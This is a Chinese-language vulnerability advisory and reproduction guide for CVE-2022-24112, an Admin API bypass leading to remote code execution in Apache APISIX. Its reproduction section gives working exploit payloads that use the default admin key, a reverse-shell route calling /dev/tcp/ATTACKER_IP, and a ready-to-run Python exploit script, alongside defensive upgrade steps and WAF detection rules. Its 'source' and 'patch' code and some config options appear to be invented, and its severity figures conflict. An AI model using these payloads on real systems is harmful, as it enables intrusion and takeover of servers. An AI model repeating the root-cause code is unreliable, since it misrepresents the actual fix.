一、漏洞简介

1.1 漏洞背景

Apache APISIX 的 batch-requests 插件允许客户端在单个请求中批量发送多个 HTTP 请求。该插件在处理请求时存在逻辑缺陷,攻击者可以构造特殊的批量请求来伪造客户端 IP,从而绕过 Admin API 的 IP 访问限制。结合默认的 API Key,可实现远程代码执行。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2022-24112
危害等级 CRITICAL / 9.8
漏洞类型 Admin API RCE(远程代码执行)
披露时间 2022-02-11
影响组件 Apache APISIX
  • CVE编号: CVE-2022-24112
  • 危害等级: 严重 (Critical)
  • CVSS评分: 10.0 (最高级)
  • CWE分类: CWE-290 (Authentication Bypass by Spoofing)
  • 漏洞类型: 认证绕过 + 远程代码执行
  • 影响组件: batch-requests 插件 + Admin API

补充核验信息:公开时间:2022-02-11;NVD 评分:9.8(CRITICAL);CWE:CWE-290。

二、影响范围

2.1 受影响的版本

  • Apache APISIX 1.3 ~ 2.12.1
  • Apache APISIX 2.10.0 ~ 2.12.1 (受影响最严重)

2.2 不受影响的版本

  • Apache APISIX 2.13.0 及以上版本
  • 未启用 batch-requests 插件的实例
  • 已修改默认 admin_key 且配置了 IP 白名单的实例(风险较低但仍存在绕过可能)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 启用了 batch-requests 插件(默认启用)
  2. Admin API 使用默认 admin_key
  3. Admin API 配置了 IP 白名单,但未禁用 batch-requests 插件
  4. 攻击者可访问 APISIX 的数据平面端口(默认 9080)

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击链路:

攻击者 → APISIX数据平面(9080) → batch-requests插件 → 伪造IP →
Admin API(9180) → 认证成功 → 创建恶意路由 → 触发RCE

核心问题: 1. batch-requests 插件允许在请求体中指定目标 IP 和端口 2. 插件会将请求转发到指定的地址,包括本地 Admin API 3. 管理端看到的是转发的内部 IP (如 127.0.0.1),而非真实攻击者 IP 4. 结合默认 API Key,即可完全控制 APISIX

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码 (apisix/plugins/batch-requests.lua - 2.12.1及之前):

function _M.access(conf, ctx)
    local req_body = core.json.decode(core.request.get_body())

    for _, sub_req in ipairs(req_body.pipeline) do
        -- 问题1: 未验证目标地址是否为内部服务
        local target_url = sub_req.url or sub_req.path

        -- 问题2: 支持任意 Host 头,可伪造来源
        local headers = sub_req.headers or {}

        -- 问题3: 虽然有 IP 检查,但实现有缺陷
        local client_ip = core.request.get_client_ip()
        if not is_trusted_ip(client_ip) then
            -- 这个检查可以被绕过,因为 batch-requests 会转发请求
            -- 管理端看到的 IP 是 127.0.0.1 (本地转发)
        end

        -- 执行子请求
        local res = ngx.location.capture(
            "/_internal_batch_request",
            {
                method = sub_req.method,
                body = sub_req.body,
                args = {
                    url = target_url,
                    headers = core.json.encode(headers)
                }
            }
        )
    end
end

绕过机制详解:

1. 正常情况:
   外部攻击者(1.2.3.4)  Admin API(9180)
   Admin API 检查: 1.2.3.4 不在白名单  拒绝 

2. 利用 batch-requests 绕过:
   外部攻击者(1.2.3.4)  batch-requests(9080)  Admin API(9180)
   batch-requests 转发请求到 localhost:9180
   Admin API 检查: 127.0.0.1 在白名单  允许 
   攻击成功

补丁修复方案 (2.13.0):

function _M.access(conf, ctx)
    local req_body = core.json.decode(core.request.get_body())

    for _, sub_req in ipairs(req_body.pipeline) do
        local target_url = sub_req.url or sub_req.path

        -- 修复1: 禁止访问内部服务
        local parsed = url_parse(target_url)
        local target_host = parsed.host
        local target_port = parsed.port or 80

        -- 黑名单检查
        if is_internal_service(target_host, target_port) then
            return 403, {error_msg = "Access to internal services is forbidden"}
        end

        -- 修复2: 强制保留原始客户端 IP
        local real_client_ip = core.request.get_original_client_ip()
        headers["X-Real-IP"] = real_client_ip
        headers["X-Forwarded-For"] = real_client_ip

        -- 执行子请求
        local res = ngx.location.capture(...)
    end
end

function is_internal_service(host, port)
    -- 检查是否为本地地址
    if host == "127.0.0.1" or host == "localhost" or host == "::1" then
        return true
    end

    -- 检查是否为内网地址
    local ip_addr = ngx.var.remote_addr
    if is_private_ip(host) then
        return true
    end

    -- 检查是否为 Admin API 端口
    local admin_port = ngx.var.admin_port or 9180
    if port == admin_port then
        return true
    end

    return false
end

配置改进:

# 新增安全配置选项
plugins:
  - batch-requests

plugin_attr:
  batch-requests:
    # 修复后的安全选项
    allow_admin_access: false  # 禁止访问 Admin API (默认 false)
    allowed_hosts:              # 白名单允许访问的主机
      - "api.example.com"
      - "backend.internal"
    max_batch_size: 100         # 限制批量请求数量

四、漏洞复现(可选)

4.1 环境搭建

使用官方 Docker Compose 快速搭建测试环境:

# docker-compose.yml
version: "3"

services:
  etcd:
    image: bitnami/etcd:3.4.15
    environment:
      - ALLOW_NONE_AUTHENTICATION=yes
    ports:
      - "2379:2379"

  apisix:
    image: apache/apisix:2.12.1-debian
    volumes:
      - ./config.yaml:/usr/local/apisix/conf/config.yaml:ro
    ports:
      - "9080:9080"   # 数据平面
      - "9180:9180"   # 管理平面
    depends_on:
      - etcd

config.yaml (存在漏洞的配置):

apisix:
  admin_key:
    - name: "admin"
      key: edd1c9f034335f136f87ad84b625c8f1  # 使用默认密钥
      role: admin
  allow_admin:
    - 127.0.0.0/24  # 仅允许本地访问(将被绕过)

plugins:
  - batch-requests  # 启用批量请求插件

deployment:
  admin:
    admin_listen:
      port: 9180
# 启动环境
docker-compose up -d

# 验证服务状态
curl http://localhost:9180/apisix/admin/routes \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

4.2 PoC 演示与测试过程

步骤1: 验证 IP 白名单生效(正常情况)

# 从外部 IP 访问应该被拒绝
curl -i http://localhost:9180/apisix/admin/routes \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

# 预期响应:
# HTTP/1.1 403 Forbidden
# {"error_msg": "IP address not allowed"}

步骤2: 使用 batch-requests 绕过 IP 限制

# 构造恶意批量请求
cat > exploit.json << 'EOF'
{
  "pipeline": [
    {
      "method": "GET",
      "url": "http://127.0.0.1:9180/apisix/admin/routes",
      "headers": {
        "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
        "Content-Type": "application/json"
      }
    }
  ]
}
EOF

# 通过 batch-requests 端点发送请求(从数据平面端口进入)
curl -X POST http://localhost:9080/apisix/batch-requests \
  -H "Content-Type: application/json" \
  -d @exploit.json

# 预期响应(绕过成功):
# [{"status":200,"body":"{\"node\":{...}}"}]

步骤3: 利用漏洞创建恶意路由实现 RCE

# 创建使用 serverless 插件的路由
cat > rce_poc.json << 'EOF'
{
  "pipeline": [
    {
      "method": "PUT",
      "url": "http://127.0.0.1:9180/apisix/admin/routes/666",
      "headers": {
        "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
        "Content-Type": "application/json"
      },
      "body": "{\"uri\":\"/rce\",\"plugins\":{\"serverless-pre-function\":{\"phase\":\"access\",\"functions\":[\"return function(conf, ctx) local file = io.popen('id') local output = file:read('*all') file:close() ngx.say(output) end\"]}},\"upstream\":{\"nodes\":{\"127.0.0.1:80\":1},\"type\":\"roundrobin\"}}"
    }
  ]
}
EOF

# 执行攻击
curl -X POST http://localhost:9080/apisix/batch-requests \
  -H "Content-Type: application/json" \
  -d @rce_poc.json

# 预期响应: [{"status":201,"body":"..."}]

步骤4: 触发 RCE

# 访问创建的恶意路由
curl http://localhost:9080/rce

# 预期输出(命令执行结果):
# uid=0(root) gid=0(root) groups=0(root)

步骤5: 高级利用 - 反弹 Shell

cat > reverse_shell.json << 'EOF'
{
  "pipeline": [
    {
      "method": "PUT",
      "url": "http://127.0.0.1:9180/apisix/admin/routes/777",
      "headers": {
        "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
        "Content-Type": "application/json"
      },
      "body": "{\"uri\":\"/shell\",\"plugins\":{\"serverless-pre-function\":{\"phase\":\"access\",\"functions\":[\"return function(conf, ctx) os.execute('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1') end\"]}},\"upstream\":{\"nodes\":{\"127.0.0.1:80\":1},\"type\":\"roundrobin\"}}"
    }
  ]
}
EOF

curl -X POST http://localhost:9080/apisix/batch-requests \
  -H "Content-Type: application/json" \
  -d @reverse_shell.json

# 触发反弹 shell
curl http://localhost:9080/shell

完整的 PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2022-24112 - Apache APISIX Batch Requests RCE Exploit
"""

import requests
import json
import sys

def exploit(target, command):
    """利用 batch-requests 绕过认证并执行命令"""

    # 构造恶意路由
    payload = {
        "pipeline": [
            {
                "method": "PUT",
                "url": f"http://127.0.0.1:9180/apisix/admin/routes/exploit",
                "headers": {
                    "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
                    "Content-Type": "application/json"
                },
                "body": json.dumps({
                    "uri": "/exploit",
                    "plugins": {
                        "serverless-pre-function": {
                            "phase": "access",
                            "functions": [
                                f"return function(conf, ctx) local f = io.popen('{command}') local r = f:read('*all') f:close() ngx.say(r) end"
                            ]
                        }
                    },
                    "upstream": {
                        "nodes": {"127.0.0.1:80": 1},
                        "type": "roundrobin"
                    }
                })
            }
        ]
    }

    # 发送批量请求
    batch_url = f"http://{target}:9080/apisix/batch-requests"
    print(f"[*] Sending exploit to {batch_url}")

    try:
        response = requests.post(
            batch_url,
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=10
        )

        if response.status_code == 200:
            print("[+] Exploit sent successfully!")

            # 触发 RCE
            trigger_url = f"http://{target}:9080/exploit"
            print(f"[*] Triggering RCE at {trigger_url}")
            result = requests.get(trigger_url, timeout=5)

            print(f"[+] Command output:\n{result.text}")
            return True
        else:
            print(f"[-] Exploit failed: {response.text}")
            return False

    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_ip> <command>")
        print(f"Example: {sys.argv[0]} 192.168.1.100 'id'")
        sys.exit(1)

    target = sys.argv[1]
    command = sys.argv[2]

    print(f"[*] Exploiting CVE-2022-24112")
    print(f"[*] Target: {target}")
    print(f"[*] Command: {command}")

    exploit(target, command)

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到 APISIX 2.13.0 或更高版本:

# 检查当前版本
apisix version

# 备份当前配置和数据
cp -r /usr/local/apisix /usr/local/apisix.backup

# 升级到最新稳定版 (示例: 3.15.0)
cd /tmp
wget https://github.com/apache/apisix/archive/refs/tags/3.15.0.tar.gz
tar -xzf 3.15.0.tar.gz
cd apisix-3.15.0

# 安装依赖
make deps

# 替换旧版本
systemctl stop apisix
rm -rf /usr/local/apisix/apisix
cp -r /usr/local/apisix /usr/local/apisix.old
cp -r . /usr/local/apisix/

# 启动新版本
systemctl start apisix
apisix version

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案1: 禁用 batch-requests 插件(推荐,如不需要)

# 编辑 config.yaml
plugins:
  - api-breaker
  - authz-keycloak
  # - batch-requests  # 注释或删除此行
  - basic-auth
  - ... (其他插件)
# 重启 APISIX 使配置生效
systemctl restart apisix

方案2: 配置插件属性限制访问

# 在 config.yaml 中添加
plugin_attr:
  batch-requests:
    # 禁止访问管理平面
    reject_admin: true

    # 限制可访问的目标地址(白名单)
    whitelist:
      - "api.yourcompany.com"
      - "backend-*.internal"

    # 限制批量请求数量
    max_pipeline_size: 10

方案3: 网络层隔离(多层防御)

# 方案 A: 完全分离数据平面和管理平面网络
# 数据平面 (9080) - 可从外网访问
# 管理平面 (9180) - 仅内网访问

# 使用防火墙规则
# 允许内网访问管理平面
iptables -A INPUT -p tcp --dport 9180 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9180 -j DROP

# 数据平面正常开放
iptables -A INPUT -p tcp --dport 9080 -j ACCEPT

方案4: 修改默认 admin_key 并启用 IP 白名单

apisix:
  admin_key:
    - name: "admin"
      key: "$(openssl rand -hex 32)"  # 生成 64 位随机密钥
      role: admin

  # IP 白名单(如果必须保留 batch-requests)
  allow_admin:
    - 127.0.0.1           # 本地
    # 添加其他必要的管理主机
    - 10.100.1.50

方案5: 使用 WAF 规则拦截

ModSecurity 规则:

# 规则1: 检测可疑的 batch-requests 请求
SecRule REQUEST_URI "@streq /apisix/batch-requests" \
    "id:2001,phase:1,pass,msg:'APISIX batch-requests detected',\
    setvar:tx.batch_requests=1"

# 规则2: 检查请求体中是否包含 127.0.0.1:9180
SecRule REQUEST_BODY "@contains 127.0.0.1:9180" \
    "id:2002,phase:2,deny,status:403,msg:'Attempt to access APISIX Admin API via batch-requests',\
    chain,logdata:'IP: %{REMOTE_ADDR}'"
SecRule TX:BATCH_REQUESTS "@eq 1"

Nginx 配置:

# 在 APISIX 前端添加 Nginx 反向代理
location /apisix/batch-requests {
    # 限制请求体大小
    client_max_body_size 10k;

    # 限流
    limit_req zone=batch_limit burst=5 nodelay;

    # 内容检查
    if ($request_body ~* "127\.0\.0\.1:9180") {
        return 403;
    }
    if ($request_body ~* "X-API-KEY.*edd1c9f034335f136f87ad84b625c8f1") {
        return 403;
    }

    proxy_pass http://apisix_backend;
}

# 限流配置
limit_req_zone $binary_remote_addr zone=batch_limit:10m rate=10r/s;

方案6: 监控和告警

# 配置 APISIX 日志
nginx_config:
  error_log: "/usr/local/apisix/logs/error.log warn"
  http:
    access_log: "/usr/local/apisix/logs/access.log"

# 在日志中监控可疑活动
plugins:
  - file-logger

# 配置告警规则 (Prometheus + Alertmanager 示例)
# 检测异常的 batch-requests 使用
- alert: SuspiciousBatchRequests
  expr: rate(apisix_http_requests_total{uri="/apisix/batch-requests"}[5m]) > 10
  for: 2m
  labels:
    severity: high
  annotations:
    summary: "异常的 batch-requests 活动检测"
    description: "IP {{ $labels.instance }} 在5分钟内发送了超过 10  batch-requests 请求"

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料